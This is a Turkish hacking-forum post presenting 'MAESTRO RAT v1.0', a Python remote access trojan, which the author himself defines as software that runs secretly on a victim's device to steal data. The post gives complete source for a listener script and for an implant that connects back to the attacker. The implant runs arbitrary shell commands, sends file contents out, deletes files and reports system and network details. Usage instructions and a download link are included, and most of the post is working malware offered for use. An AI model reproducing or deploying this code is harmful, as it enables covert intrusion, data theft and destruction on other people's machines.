İyi forumlar Türk Hack Team
Bugün Python ile yazdığım 14 fonksiyonlu backdoor tabanlı uzaktan erişim ( rat ) aracımdan bahsedeceğim.
Rat (Remote Acces Trojan) Nedir ?Bir cihazda (bilgisayar, telefon, tablet vb.) arka planda, cihaz sahibinin bilgisi dışında -gizlice- çalışan ve cihazın içindeki bilgilerin başka kişilerce 'yasa dışı bir şekilde' ele geçirilmesine veya cihazın yasa dışı işlemlerde kullanılmasına yardım eden trojan'ların genel ismidir.
Backdoor (Arka Kapı) Nedir?
bilgisayar sistemlerinin normal güvenliğini veya şifrelemesini es geçen, genellikle gizli bir yöntemdir. Bu sayede bilgisayar sistemi yetkisiz erişim ve işlemlere açık hale gelir.
TCP (Transmission Control Protocol) Nedir?
Bu metot sayesinde internete bağlanan tüm cihazlar birbirleri ile haberleşebilir. Bir ağa bağlanan bilgisayarlar veri iletmek ve almak için birbirleri arasında TCP/IP protokolü ile haberleşmektedir. Kısacası TCP/IP protokolü, bilgisayarlar arası veri iletişiminin kurallarını koyan bir iletişim protokolleri bütünüdür.
MAESTRO RAT v1.0
attacker.py
Python:
import socket
import argparse
from colorama import Fore, Style
print(Fore.RED + """
⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣷⣦⣄
⠀⠀⣀⣤⣶⣶⣦⣄⠀⠈⣿⣿⣿⣿⡆
⠶⣿⣿⣿⣿⣿⣿⣿⣿⣦⣿⣿⣿⣿⣷
⠀⠈⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄
⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣀⣤⣤⣤⡤
⠀⠀⢀⣠⣤⣼⣿⣿⣿⣿⣿⣿⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣥⣤⣤ created by ramo
⠐⠺⠿⢿⣿⣿⣿⣿⣿⡏⢸⡿⠋⠀⣼⠏⣿⣿⣿⣿⡿⠟⠉
⠀⠀⠀⠀⠀⠀⠀⠀⠈⠢⣄⣀⡠⠞⠁ """)
print(Fore.RED + """
MAESTRO RAT v1.0
""")
def print_command_list():
print(f"{Fore.GREEN}Backdoor Komut Listesi:{Style.RESET_ALL}")
print(f"1. {Fore.CYAN}exit{Style.RESET_ALL}: Sunucu bağlantısını sonlandırır.")
print(f"2. {Fore.CYAN}execute{Style.RESET_ALL}: Belirli bir terminal komutunu sunucuda çalıştırır.")
print(f"3. {Fore.CYAN}cat [dosya_adı]{Style.RESET_ALL}: Belirtilen dosyanın içeriğini sunucudan istemciye gönderir.")
print(f"4. {Fore.CYAN}rm [dosya_adı]{Style.RESET_ALL} veya {Fore.CYAN}rm -r [dosya_adı]{Style.RESET_ALL}: Belirtilen dosyayı veya dizini siler.")
print(f"5. {Fore.CYAN}ls{Style.RESET_ALL} veya {Fore.CYAN}dir{Style.RESET_ALL}: Sunucudaki mevcut dizinin içeriğini listeler.")
print(f"6. {Fore.CYAN}cd [hedef_klasör]{Style.RESET_ALL}: Sunucudaki çalışma dizinini değiştirir.")
print(f"7. {Fore.CYAN}mkdir [klasör_adı]{Style.RESET_ALL}: Yeni bir klasör oluşturur.")
print(f"8. {Fore.CYAN}touch [dosya_adı]{Style.RESET_ALL} veya {Fore.CYAN}type nul > [dosya_adı]{Style.RESET_ALL}: Yeni bir dosya oluşturur.")
print(f"9. {Fore.CYAN}echo [metin] >> [dosya_adı]{Style.RESET_ALL}: Belirtilen dosyanın sonuna metin ekler.")
print(f"10. {Fore.CYAN}whoami{Style.RESET_ALL}: Sunucuda oturum açmış kullanıcıyı döndürür.")
print(f"11. {Fore.CYAN}ifconfig{Style.RESET_ALL}: Sunucunun ağ bilgilerini döndürür.")
print(f"12. {Fore.CYAN}cpu{Style.RESET_ALL}: Sunucunun CPU bilgilerini döndürür.")
print(f"13. {Fore.CYAN}memory{Style.RESET_ALL}: Sunucunun bellek kullanım bilgilerini döndürür.")
print(f"14. {Fore.CYAN}osinfo{Style.RESET_ALL}: Sunucunun işletim sistemi bilgilerini döndürür.")
def main():
parser = argparse.ArgumentParser(description='MAESTRO RAT v1.0 - Arka Kapı')
parser.add_argument('-lhost', dest='ip', help='Hedef IP adresi', required=True)
parser.add_argument('-lport', dest='port', help='Hedef port numarası', required=True)
args = parser.parse_args()
ip = args.ip
port = int(args.port)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((ip, port))
s.listen(1)
print(f"{Fore.RED}{ip}:{port} dinleniyor...")
conn, addr = s.accept()
print(f"{Fore.GREEN}Bağlantı alındı: {addr}")
print_command_list()
while True:
komut = input("Komutu giriniz ('exit' yazarak çıkabilirsiniz): ")
conn.send(komut.encode())
if komut == 'exit':
break
if komut.strip() == 'execute':
print("Lütfen 'execute' komutu için bir komut girin:")
islem = input()
conn.send(islem.encode())
else:
received_data = conn.recv(8192)
print(received_data.decode(errors='ignore'))
conn.close()
if __name__ == "__main__":
main()
target.py
Python:
import socket
import subprocess
import os
import psutil
from psutil._common import bytes2human
import platform
import pyautogui
def get_os_info():
os_info = """
platform: platform.system(),
version: platform.version()
"""
return os_info
def get_cpu_info():
cpu_info = ""
for num, percent in enumerate(psutil.cpu_percent(percpu=True)):
cpu_info += f"CPU{num}: {percent}%\n"
return cpu_info
def get_memory_info():
memory_info = ""
for part in psutil.disk_partitions(all=False):
if os.name == "nt" and ('cdrom' in part.opts or not part.fstype):
usage = psutil.disk_usage(part.mountpoint)
memory_info += f"Device: {part.device}, Total: {bytes2human(usage.total)}, Used: {bytes2human(usage.used)}, Free: {bytes2human(usage.free)}, Use: {usage.percent}%\n"
elif os.name == "posix" and ('mount' in part.opts or not part.fstype):
usage = psutil.disk_usage(part.mountpoint)
memory_info += f"Device: {part.device}, Total: {bytes2human(usage.total)}, Used: {bytes2human(usage.used)}, Free: {bytes2human(usage.free)}, Use: {usage.percent}%\n"
return memory_info
def get_network_info():
network_info = ""
duplex_map = {
psutil.NIC_DUPLEX_FULL: "full",
psutil.NIC_DUPLEX_HALF: "half",
psutil.NIC_DUPLEX_UNKNOWN: "?",
}
af_map = {
socket.AF_INET: 'IPv4',
socket.AF_INET6: 'IPv6',
}
interfaces = psutil.net_if_addrs()
for interface, addresses in interfaces.items():
network_info += f"Ağ Arayüzü: {interface}\n"
for addr in addresses:
network_info += f" Adres Türü: {af_map.get(addr.family, addr.family)}\n"
network_info += f" Adres: {addr.address}\n"
if addr.broadcast:
network_info += f" Yayın Adresi: {addr.broadcast}\n"
if addr.netmask:
network_info += f" Ağ Maskesi: {addr.netmask}\n"
return network_info
def execute_command(command):
try:
result = subprocess.run(command, shell=True, capture_output=True, text=True)
if result.returncode == 0:
return result.stdout.strip()
else:
return f"Error: {result.stderr.strip()}"
except Exception as e:
return f"Error: {str(e)}"
def main():
ip = yourip
port = yourport
while True:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((ip, port))
print("Sunucuya bağlanıldı.")
while True:
command = s.recv(4096).decode()
if command.strip() == 'exit':
break
elif command.strip() == 'execute':
komut = s.recv(4096).decode()
output = execute_command(komut)
s.send(output.encode())
elif command.strip().startswith('cat'):
dosya_adi = command.split(" ")[1]
try:
with open(dosya_adi, "r") as dosya:
icerik = dosya.read()
s.sendall(icerik.encode())
except FileNotFoundError:
s.send("Dosya bulunamadı".encode())
except Exception as e:
s.send(f"Hata: {str(e)}".encode())
elif command.strip().startswith('rm') or command.strip().startswith('rm -r'):
dosya_adi = command.split(" ")[1]
try:
os.remove(dosya_adi)
s.send(f"{dosya_adi} başarıyla silindi.".encode())
except FileNotFoundError:
s.send(f"{dosya_adi} bulunamadı".encode())
except Exception as e:
s.send(f"Hata: {str(e)}".encode())
elif command.strip().startswith('ls') or command.strip().startswith('dir'):
dosyalar = os.listdir()
if dosyalar:
s.send("\n".join(dosyalar).encode())
else:
s.send("Dizin boş".encode())
elif command.strip().startswith('cd'):
hedefklasor = command.split(" ")[1]
try:
os.chdir(hedefklasor)
s.send(f"Dizin değiştirildi: {os.getcwd()}".encode())
except FileNotFoundError:
s.send("Hata: Dizin bulunamadı".encode())
except Exception as e:
s.send(f"Hata: {str(e)}".encode())
elif command.strip().startswith('mkdir'):
hedefklasor = command.split(" ")[1]
try:
os.mkdir(hedefklasor)
s.send(f"{hedefklasor} başarıyla oluşturuldu.".encode())
except FileExistsError:
s.send(f"{hedefklasor} zaten var.".encode())
except Exception as e:
s.send(f"Hata: {str(e)}".encode())
elif command.strip().startswith("touch") or command.strip().startswith("type nul >"):
dosyaisim = command.split(" ")[1]
with open(dosyaisim, "w") as dosya:
pass
s.send("Dosya Oluşturuldu.".encode())
elif command.strip().startswith("echo"):
komut_parcalari = command.split(" ")
dosya_isim_index = komut_parcalari.index(">>") + 1
dosya_isim = komut_parcalari[dosya_isim_index]
metin = " ".join(komut_parcalari[1:dosya_isim_index-1])
with open(dosya_isim, "a") as dosya:
dosya.write(metin)
s.send("Metin dosya sonuna eklendi.".encode())
elif command.strip().startswith("whoami"):
cikti = subprocess.run(['whoami'], capture_output=True, text=True)
s.send(cikti.stdout.encode())
elif command.strip().startswith("ifconfig"):
x = get_network_info()
s.send(x.encode())
elif command.strip().startswith("cpu"):
x = get_cpu_info()
s.send(x.encode())
elif command.strip().startswith("memory"):
x = get_memory_info()
s.send(x.encode())
elif command.strip() == 'osinfo':
os_info = get_os_info()
s.send(str(os_info).encode())
else:
s.send("Geçersiz komut.".encode())
print("Bağlantı kesildi.")
if __name__ == "__main__":
main()
Nasıl Kullanılır?
Python:
python3 attacker.py -lhost (ip) -lport (port)
Komutlar
1.exit > Sunucu bağlantısını sonlandırır.
2. execute > Belirli bir terminal komutunu sunucuda çalıştırır.
3.cat [dosya_adı] > Belirtilen dosyanın içeriğini sunucudan istemciye gönderir.
4.rm veya rm -r [dosya_adı] > Belirtilen dosyayı veya dizini siler.
5. ls veya dir Sunucudaki mevcut dizinin içeriğini listeler.6.cd çalışma dizinini değiştirir.
7.mkdir [klasör_adı] > Yeni bir klasör oluşturur.
8.touch veya type nul > [dosya_adı] > Yeni bir dosya oluşturur.
9.echo [metin] >> [dosya_adı] > Belirtilen dosyanın sonuna metin ekler.
10.whoami > oturum açmış kullanıcıyı döndürür.
11.ifconfig > ağ bilgilerini döndürür.
12.cpu > CPU bilgilerini döndürür.
13.memory > bellek kullanım bilgilerini döndür
14. osinfo > işletim sistemi bilgilerini döndürür.
Araç'tan Görüntüler ;
cat & ls & cd
Diğer komutlarda sorunsuz çalışmaktadır.
Not : Bu araç 'Linux' işletim sisteminde test edilmiştir.
Githubdan görüntülemek veya indirmek isterseniz ;
Buraya TıklayabilirsinizOkuyan Herkese Teşekkürler.
Sağlıcakla Kalın
Son düzenleme: